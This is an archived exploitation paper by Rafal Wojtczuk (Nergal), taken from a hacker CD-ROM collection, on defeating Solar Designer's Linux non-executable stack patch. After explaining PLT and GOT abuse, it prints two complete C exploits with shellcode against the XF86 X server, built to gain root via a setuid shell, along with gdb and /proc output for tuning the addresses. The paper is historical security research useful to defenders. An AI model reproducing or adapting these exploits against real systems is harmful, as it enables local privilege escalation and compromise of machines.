home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hack.co.za / papers / advancedoverflows / defnoexec.txt < prev    next >
Encoding:
Text File  |  2000-12-24  |  19.5 KB  |  454 lines

  1.        -=[ Defeating Solar Designer's Non-executable Stack Patch ]=-
  2.     Text and souce code written by Rafal Wojtczuk ( nergal@icm.edu.pl )
  3.  
  4.   Section I. Preface
  5.   The patch mentioned in the title has been with us for some time. No doubt it
  6. stops attackers from using hackish scripts; it is even included in
  7. just-released Phrack 52 as a mean to harden your Linux kernel. However, it
  8. seems to me there exist at least two generic ways to bypass this patch fairly
  9. easily ( I mean its part that deals with executable stack ). I will explain
  10. the details around section V.
  11.   Before continuing, I suggest to refresh in your memory excellent
  12. Designer's article about return-into-libc exploits. You can find it at
  13. http://www.geek-girl.com/bugtraq/1997_3/0281.html
  14.  
  15.          "I recommend that you read the entire message even if you aren't
  16.          running Linux since a lot of the things described here are
  17.          applicable to other systems as well."
  18.                  from the afore-mentioned Solar Designer's article
  19.  
  20.   It is definitely worth your time to get acquainted with Designer's patch
  21. documentation ( which can be retrieved embedded in the complete package from
  22. http://www.false.com/security/linux-stack ).
  23.   All the following code was tested on Redhat 4.2 running 2.0.30 kernel with
  24. Designer's patch applied ( latest version, I presume ).
  25.  
  26.   Section II. A few words about ELF implementation
  27.   Let's compile and disassemble the following proggie.c
  28. main()
  29. {
  30. strcpy(0x11111111,0x22222222);
  31. }
  32. $ gcc -o proggie proggie.c
  33. ...lots of warnings...
  34. $ gdb proggie
  35. GDB is free software and you are welcome to distribute copies of it...
  36. (gdb) disass main
  37. Dump of assembler code for function main:
  38. 0x8048474 <main>:       pushl  %ebp
  39. 0x8048475 <main+1>:     movl   %esp,%ebp
  40. 0x8048477 <main+3>:     pushl  $0x22222222
  41. 0x804847c <main+8>:     pushl  $0x11111111
  42. 0x8048481 <main+13>:    call   0x8048378 <strcpy>
  43. 0x8048486 <main+18>:    addl   $0x8,%esp
  44. 0x8048489 <main+21>:    leave
  45. 0x804848a <main+22>:    ret
  46. 0x804848b <main+23>:    nop
  47. End of assembler dump.
  48.  
  49.   As we can see, the call to strcpy hits text segment, not library function
  50. directly ( when Designer's patch is applied, libc functions have addresses
  51. that begin with 0x00 ).
  52.  
  53. (gdb) (gdb) disass strcpy
  54. Dump of assembler code for function strcpy:
  55. 0x8048378 <strcpy>:     jmp    *0x80494d8
  56. 0x804837e <strcpy+6>:   pushl  $0x0
  57. 0x8048383 <strcpy+11>:  jmp    0x8048368 <_init+8>
  58. End of assembler dump.
  59. (gdb) printf "0x%x\n", *0x80494d8
  60. 0x804837e
  61.  
  62.   Code starting at 0x8048378 is a part of procedure linkage table ( PLT ).
  63. Initially, int stored at 0x80494d8 ( member of global offset table, GOT )
  64. contains address of the next instruction ( here, strcpy+6 ). When the procedure
  65. is called for the first time, dynamic linker is involved in transferring
  66. control to the proper place in shared library image. Linker puts library
  67. function address into *0x80494d8 as well, so the next time strcpy is called,
  68. jmp    *0x80494d8 instruction will take it to the right spot in libc
  69. immediately.
  70.   The previous paragraph is correct when lazy linking is performed, which is
  71. the default behaviour. By setting environ variable LD_BIND_NOW one can
  72. make the linker do the binding of all procedures before control reaches
  73. function main.
  74.   Those ripped-out-of-context phrases are enough for the purposes of this
  75. article. You can find complete ELF specification at
  76. ftp://tsx.mit.edu/pub/linux/packages/GCC/ELF.DOC.tar.gz ( it contains file
  77. elf.hps ).
  78.  
  79.    Section III. A flaw no 1 - PLT entries
  80.   The important fact is that we do not have to call libc functions directly.
  81. If the vulnerable application uses a procedure from shared library, the text
  82. segment will contain an appropriate procedure linkage table entry, which we
  83. can merrily use. For instance, if lpr used "system", then Solar Designer's
  84. exploit for lpr would work fine: instead of finding "system" in libc, we
  85. would use PLT entry ( a string "/bin/sh" can be smuggled into the program
  86. hidden in the enviroment or argv). But it is much worse than this...
  87.  
  88.   Section IV. A flaw no 2 - executable data segments
  89.   Information stored in /proc/pid/maps is... ahm... not always accurate.
  90. Code can be executed in data segment, even if you issue
  91. mprotect(...,...,PROT_READ) call. In fact, it can be bare PROT_WRITE or
  92. PROT_EXEC as well; standard shellcode will not work, because it modifies
  93. itself ( segfault when PROT_READ|PROT_EXEC ) and passes arguments located
  94. inside its body to the kernel ( when only PROT_WRITE is applied, kernel
  95. function verify_area will fail ). It is trivial to write a working shellcode.
  96. Anyway, data segments are rw ( malloc-ed data even rwx ), so a standard
  97. shellcode will do.
  98.   Impact: We can transfer control to the shellcode if it has been copied to
  99. data segment. Sometimes application will do it for us; but in fact, when a
  100. buffer overflow in automatic data is involved, we don't need any farther
  101. assistance...
  102.  
  103.   Section V. Exploit no 1
  104.   For the rest of the article, I will assume that the vulnerable program we
  105. attack uses strcpy or sprintf. 99% does; if it IS vulnerable, then odds are
  106. 100% ;). I will use strcpy; sprintf(dest,src) works identically provided
  107. there is no % neither \ in src argument.
  108.   Our exemple target will be XF86 Xserver; its case was discussed on bugtraq
  109. a while ago. You can find details there.
  110.   Exploit goes as follows: we fill a buffer with the pattern
  111. ------------------------------   <------------- stack grows this way
  112. | STRCPY | DEST | DEST | SRC |
  113. ------------------------------   memory addresses grow this way ------->
  114.  
  115. where STRCPY is an address of strcpy PLT entry
  116.       DEST is a place in a data segment where we will place shellcode
  117.       SRC points into a environ variable containing a shellcode
  118.   We want to overwrite return address on the stack with STRCPY field; then
  119. strcpy will copy shellcode to DEST. Instruction ret from strcpy will pop the
  120. first DEST, and control will be passed there.
  121.   Let's gather some info then. We will need a non-suid copy of X server;
  122. if it is mode rws--x--x on your system, you can get it from www.redhat.com
  123. and enjoy :) It must be exactly the same version,though.
  124. $ gdb myX
  125. ... lots of stuff ...
  126. (gdb) p strcpy
  127. $1 = {<text variable, no debug info>} 0x8066a18 <strcpy> <-- first number we need
  128. (gdb) b main
  129. Breakpoint 1 at 0x80df5e8
  130. (gdb) r
  131. Starting program: myX
  132. warning: Unable to find dynamic linker breakpoint function.
  133. warning: GDB will be unable to debug shared library initializers
  134. warning: and track explicitly loaded dynamic code.
  135. (no debugging symbols found)...(no debugging symbols found)...
  136. (no debugging symbols found)...(no debugging symbols found)...
  137. Breakpoint 1, 0x80df5e8 in main ()
  138.  
  139.   In another window (1515 is the pid of X server )
  140. $ cat /proc/1515/maps
  141. 00110000-00115000 rwxp 00000000 03:07 20162
  142. 00115000-00116000 rw-p 00004000 03:07 20162
  143. 00116000-00117000 rw-p 00000000 00:00 0
  144. 00118000-0011e000 r-xp 00000000 03:07 20171
  145. 0011e000-00120000 rw-p 00005000 03:07 20171
  146. 00120000-00122000 rwxp 00000000 03:07 20169
  147. 00122000-00123000 rw-p 00001000 03:07 20169
  148. 00123000-001b6000 r-xp 00000000 03:07 20165   <-- libc is mapped here
  149. 001b6000-001bc000 rw-p 00092000 03:07 20165
  150. 001bc000-001ee000 rw-p 00000000 00:00 0
  151. 08048000-08223000 r-xp 00000000 03:07 50749
  152. 08223000-08230000 rw-p 001da000 03:07 50749   <-- here resides data; our second number is found
  153. 08230000-08242000 rwxp 00000000 00:00 0       <-- these addresses would do as well
  154. bfffe000-c0000000 rwxp fffff000 00:00 0       <-- and these wouldn't ;)
  155.  
  156. BTW, if you execute
  157. $ ls -i /lib/libc.so.5.3.12
  158.   20165 /lib/libc.so.5.3.12
  159. and look at maps file contents, you can see where libc is mapped; we will
  160. need this piece of info for the second exploit.
  161.  
  162.   Last hint - X server uses file descriptor 0 for its own purposes, so instead
  163. of spawning a root shell we will execute a program in /tmp/qq ( which should
  164. make a root suid copy of bash ).
  165. Now kill gdb session, compile and run the following
  166. /*
  167. Exploit no 1 for Solar Designer patch
  168. by nergal@icm.edu.pl
  169. This code is meant for educational and entertaining purposes only.
  170. You can distribute it freely provided credits are given.
  171. */
  172. #include <stdio.h>
  173. /* change the following 0 if the code doesn't work */
  174. #define OFFSET                          0
  175. #define BUFFER_SIZE                     370
  176. #define EGG_SIZE                        2048
  177. #define NOP                             0x90
  178.  
  179. /* any address in data segment */
  180. #define DEST                            0x08223038
  181. /* strcpy linkage table entry */
  182. #define STRCPY                          0x08066a18
  183.  
  184. char shellcode[] =
  185. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  186. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  187. "\x80\xe8\xdc\xff\xff\xff/tmp/qq";
  188.  
  189. char buf[BUFFER_SIZE];
  190. char egg[EGG_SIZE];
  191. char pattern[16];
  192.  
  193. void main(int argc, char **argv)
  194. {
  195. /* try alignment in 3..18; three worked for me */
  196.         int i, align = 3;
  197.         int src = (int) &src - OFFSET;  /* formerly known as get_sp() :) */
  198.  
  199.         if (argc == 2)
  200.                 align = atoi(argv[1]);
  201.  
  202.         *(int *) pattern = STRCPY;
  203.         *(int *) (pattern + 4) = DEST;
  204.         *(int *) (pattern + 8) = DEST;
  205.         *(int *) (pattern + 12) = src;
  206.         for (i = 0; i <= 15; i++)
  207.                 if (pattern[i] == 0) {
  208.                         printf("zero in pattern (%i)\n", i);
  209.                         exit(1);
  210.                 }
  211.  
  212.  
  213.         memset(buf, ' ', BUFFER_SIZE);
  214.         buf[BUFFER_SIZE - 1] = 0;
  215.         buf[0] = ':';
  216.         buf[1] = '9';
  217.         for (i = align; i < BUFFER_SIZE - 16; i += 16)
  218.                 memcpy(buf + i, pattern, 16);
  219.  
  220.         memset(egg, NOP, EGG_SIZE);
  221.         strcpy(egg + EGG_SIZE - strlen(shellcode) - 2, shellcode);
  222.         strncpy(egg, "EGG=", 4);
  223.         putenv(egg);
  224.  
  225.         execl("/usr/X11R6/bin/X", "X", buf, "-nolock", 0);
  226.         perror("execl");
  227. }
  228. /*
  229. end of exploit no 1
  230. */
  231.   In Designer exploits, a shell was invoked using "system" call, which after
  232. completion returns onto the stack ( and segfaults ). This caused exploit
  233. attempt logging. In exploit no 1 we execute our code using execve, so
  234. everything is clean and tidy.
  235.  
  236.   Section VI. Any solutions ?
  237.   It doesn't look neat,is it ? Again, arbitrary code can be executed. What can
  238. we do ?
  239.   First idea is to patch kernel so that instructions in data segment cannot be
  240. executed. Solar Designer patch does simply
  241. (retaddr & 0xF0000000) == 0xB0000000
  242. comparison to detect whether code is returning into stack; it would be a
  243. time-consuming job to check if we're returning into a data segment. Anyway,
  244. we are barking a wrong tree here. If we are satisfied with simple
  245. system("/tmp/evilcode"), we don't need executable data segment at all !
  246.   Exploit no 2 is waiting for you. Certainly, sometimes you need to do
  247. setuid(0) or fcntl(fd,SET_FD,0) before "system", but usually not.
  248.  
  249.   Section VII. PLT reapears.
  250. We will fill a buffer with a pattern
  251. -----------------------------------------
  252. | STRCPY | STRCPY | PLTENT-offset | SRC |
  253. -----------------------------------------
  254. STRCPY is again a PLT entry for strcpy.
  255. PLTENT is an address of integer in GOT referenced by strcpy PLT entry ( in
  256. proggie.c example it was 0x80494d8 )
  257. SRC is a pointer into env variable.
  258.   How does it work ? We need to hit return placeholder with first STRCPY.
  259. SRC contents will overwrite GOT entry so that it will contain address of libc
  260. "system" procedure. Second return into STRCPY will execute "system" (
  261. because instruction jmp *gotentry references place in memory we have just
  262. altered ) with argument SRC.
  263.   Well, extreme precision is required here, because we overwrite linker vital
  264. internal structures. First, SRC has to be a valid filename ( starting
  265. with /tmp/xxxx, for instance). SRC's last 3 bytes must be the lowest 3 bytes of
  266. "system" procedure address. Zero terminating SRC will complete the address.
  267. Second, we need the exact address of SRC - src=&src certainly will not suffice.
  268.   So,we start gathering info. We already have STRCPY; to obtain GOT integer,
  269. we need to disass strcpy with gdb ( like in proggie.c example ). From
  270. /proc/pid/maps we can extract address where libc is mapped; to compute "system"
  271. addres, we need to add its offset in libc.
  272. $ nm /lib/libc.so.5.3.12 | grep system
  273. 0007ec7c T svcerr_systemerr
  274. 00081d7c T system             <---- that's the number we need
  275.  
  276. Now we compile the following code ( remember, /tmp/qq is a prog that makes a
  277. setuid shell or anything you find useful to do with euid 0)
  278. /*
  279. Exploit no 2 for Solar Designer patch
  280. by nergal@icm.edu.pl
  281. This code is meant for educational and entertaining purposes only.
  282. You can distribute it freely provided credits are given.
  283. */
  284.  
  285. #include <stdio.h>
  286.  
  287. #define BUFFER_SIZE                     370
  288. #define EGG_SIZE                        100
  289.  
  290. #define STRCPY                          0x08066a18
  291. #define PLTENT                          0x0822f924
  292. #define SYSTEM                          (0x00123000+0x81d7c)
  293. #define SRC                             0xbfffffe6
  294.  
  295. char buf[BUFFER_SIZE];
  296. char egg[EGG_SIZE];
  297. char pattern[16];
  298.  
  299. char prefix[] = "/tmp/xxxxxxx";
  300. char path[200];
  301. char command[200];
  302.  
  303. void main(int argc, char **argv)
  304. {
  305.         int i, align = 3;
  306.         char *envs[2] = {egg, 0};
  307.  
  308.         if (argc == 2)
  309.                 align = atoi(argv[1]);
  310.  
  311.         *(int *) pattern = STRCPY;
  312.         *(int *) (pattern + 4) = STRCPY;
  313.         *(int *) (pattern + 8) = PLTENT - strlen(prefix);
  314.         *(int *) (pattern + 12) = SRC;
  315.         for (i = 0; i <= 15; i++)
  316.                 if (pattern[i] == 0) {
  317.                         printf("zero in pattern (%i)\n", i);
  318.                         exit(1);
  319.                 }
  320.         if (!(SYSTEM & 0x00ff0000) || !(SYSTEM & 0x0000ff00) || !(SYSTEM & 0x000000ff)) {
  321.                 printf("zero in system\n");
  322.                 exit(1);
  323.         }
  324.  
  325.         memset(buf, ' ', BUFFER_SIZE);
  326.         buf[BUFFER_SIZE - 1] = 0;
  327.         buf[0] = ':';
  328.         buf[1] = '9';
  329.         for (i = align; i < BUFFER_SIZE - 16; i += 16)
  330.                 memcpy(buf + i, pattern, 16);
  331.  
  332.         strcpy(path, prefix);
  333.         *(int *) (path + strlen(path)) = SYSTEM;
  334.         sprintf(egg, "EGG=%s", path);
  335.         sprintf(command, "cp /tmp/qq %s", path);
  336.         system(command);
  337.         execle("./qwe", "X", buf, "-nolock", 0, envs);
  338.         perror("execl");
  339. }
  340. /*
  341. end of exploit no 2
  342. */
  343.  
  344.   You've read the code ? Wonder what ./qwe is for ? Right. Remember we need
  345. exact address of /tmp/xxxxxxxsomething in memory. So, first make ./qwe a
  346. symlink to the following program:
  347. /*
  348. envi.c - displays addresses of all env variables
  349. */
  350. #include <stdio.h>
  351. extern char ** environ;
  352. main()
  353. {
  354.         char ** p=environ;
  355.         printf("environ=0x%x\n",p);
  356.         while (*p)
  357.         {
  358.                 printf("0x%x %s\n",*p,*p);
  359.                 p++;
  360.         }
  361. }
  362. /*
  363. end of envi.c
  364. */
  365.   Now run exploit no 2. Note down address of /tmp/xxxxsomething in EGG
  366. variable ( NOT address of EGG=..., but address of /tmp/xxxx...; you must add
  367. strlen("EGG=") to the number envi.c produces ). Correct the value of SRC in
  368. exploit. Than make ./qwe symlink to /usr/X11R6/bin/X and run exploit again.
  369. That's all.
  370.   Because we use "system", the name of binary (/tmp/xxxxsomething...) which
  371. will be executed may be not exactly what we put in our "path" variable. In my
  372. case, at offset 13 it contained a '|' char, which is a special character for
  373. shell, so "system" called out of X server tried to execute /tmp/xxxxxxx. It
  374. succeeded - we make /tmp/xxxxsomething a copy of /tmp/qq using "system" as
  375. well, so the result should be what we wished.
  376.   After "system" call the program segfaults; but since the control doesn't
  377. return onto stack ( rather into GOT ) no exploit attempt is logged.
  378.  
  379.   Section VIII. More Feeble Screams From The Forests Unknown
  380.   There are other methods to cope with non-executable stack. Consider the
  381. following scenario. The faulty code containing an overflow ends up executing
  382. strcpy, which overwrites the very same place on the stack it was called
  383. ( frankly, retted :)) from. The resulting stack can be formed so that it will
  384. spawn another strcpy...
  385.  
  386. stack before first strcpy execution
  387. -------------------------------------------------------------------------
  388. | junk|junk | src1 | dest1 | junk  | STRCPY| some junk                  |
  389. -------^----------------|------------------------------------------------
  390.        |                |              ^
  391.        -----------------|              |
  392.                                       %esp
  393. stack just before first strcpy returns
  394. --------------------------------------------------------------------------
  395. |junk | src2 |dest2| junk  | STRCPY|        | evil code 0-terminated    |
  396. --------------------------------------------------------------------------
  397.                                 ^
  398.                                 |
  399.                                %esp
  400.   This way we copied on the stack some arbitrary bytes terminated by 0. By
  401. repeating this operation, we can put any pattern, which may include zeros, on
  402. the stack. If we can find in text segment or in any library fragment of code
  403. that does
  404. subl $something, %esp
  405. ret
  406.  %esp will be placed in the pattern we generated. Since then we can use
  407. any library functions, including setuid, mprotect etc.
  408.  
  409.   Section IX. Local vs remote exploit
  410.   These two pieces of code are local. The idea of the first one can
  411. be materialized into a remote exploit; all we need is a copy of an attacked
  412. program to examine. Even all possible versions of it can be tried by a
  413. determined hacker. The second one requires a very high accuracy, which
  414. complicates the whole thing; not mentioning that we also
  415. a) need to know libc version used on the remote machine
  416. b) must be able to create there executable files with arbitrary suffix  ( anon
  417. ftp uploads spring to mind )
  418.  
  419.   Section X. Any solutions - continued
  420.   Well, if
  421.      a) we can protect data segments from being executed
  422.      b) we force LD_BIND_NOW - like dynamic linking, which enables us to
  423.         mprotect GOT non-writable
  424. both exploits will fail. However, I'm not convinced with this idea.
  425. Still unknown number of potentially dangerous library functions can be
  426. called through PLT; for instance, memccpy is worth mentioning, as it enables
  427. us to copy a block of memory containing 0's.
  428.   The best solution would be to mmap text segment ( accompanied by PLT and
  429. GOT ) under 16MB boundary. But it's impossible, right ? Code of applications
  430. is not position independent.
  431.   It's probably a linker issue, but if we can mmap PLT in the lowest 16MB,
  432. both my exploits will fail. However, we could still utilize "call system"
  433. instruction that may reside in the application body.
  434.  
  435.   Section XI. Closing unrelated bubbling
  436.   I welcome any constructive comments regarding this article; hope you
  437. enjoyed reading it at least half as much as I enjoyed composing it...
  438.  
  439.                    "That's all for now.
  440.                    I hope I managed to prove that exploiting buffer overflows
  441.                    should be an art."
  442.                          from the afore-mentioned Solar Designer's article
  443.  
  444.   lcamtuf, idziesz na piwo ?
  445.   If you find that you can give me some security or linux related job, thus
  446. saving me from earning money for living by some hebetating activity,
  447. let me know. History will not forget your deed :) IBS folks, you listen ?
  448.   More stuff from Nergal is coming soon; next time it will be something
  449. perhaps more useful, from a certain point of view ;) of course. Should still
  450. retain entertaining values.
  451.  
  452.   Save yourself,
  453.   Nergal
  454.